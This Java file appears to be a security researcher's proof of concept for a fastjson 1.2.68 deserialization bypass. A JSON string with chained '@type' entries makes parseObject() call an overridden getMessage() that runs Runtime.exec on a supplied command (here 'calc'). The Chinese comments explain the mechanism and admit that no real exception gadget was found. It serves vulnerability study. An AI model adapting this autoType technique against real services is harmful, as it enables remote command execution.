package com.hyf.fastjson;

import com.alibaba.fastjson.JSONObject;

import java.io.IOException;

/**
 * v1.2.68
 *
 * @author baB_hyf
 * @date 2021/03/28
 */
public class T6 {

    public static void main(String[] args) {

        String str = "{\"@type\": \"java.lang.Exception\",\"@type\": \"com.hyf.fastjson.T6$CustomException\",\"command\": \"calc\"}";
        // 自定义类编译已有参数名称
        JSONObject.parseObject(str);
    }

    public static class CustomException extends Exception {

        private String command;

        public String getCommand() {
            return command;
        }

        public void setCommand(String command) {
            this.command = command;
        }

        /**
         * fastjson 在反序列化的时候会尝试执行里面的 getter 方法，而 Exception 类中都有一个 getMessage 方法，
         * 这样只需要自定义一个异常，并且重写 getMessage() 方法就达到了攻击的目的。
         * <p>
         * 反序列化执行 getter 方法需要 JSON 转为 JSONObject 的情况，也就是使用 parseObject() 而不是使用 parse() 方法。
         * <p>
         * 由于异常类中很少使用高危方法，所以没有找到什么可以攻击的方式。
         */
        @Override
        public String getMessage() {
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }
            return super.getMessage();
        }
    }
}
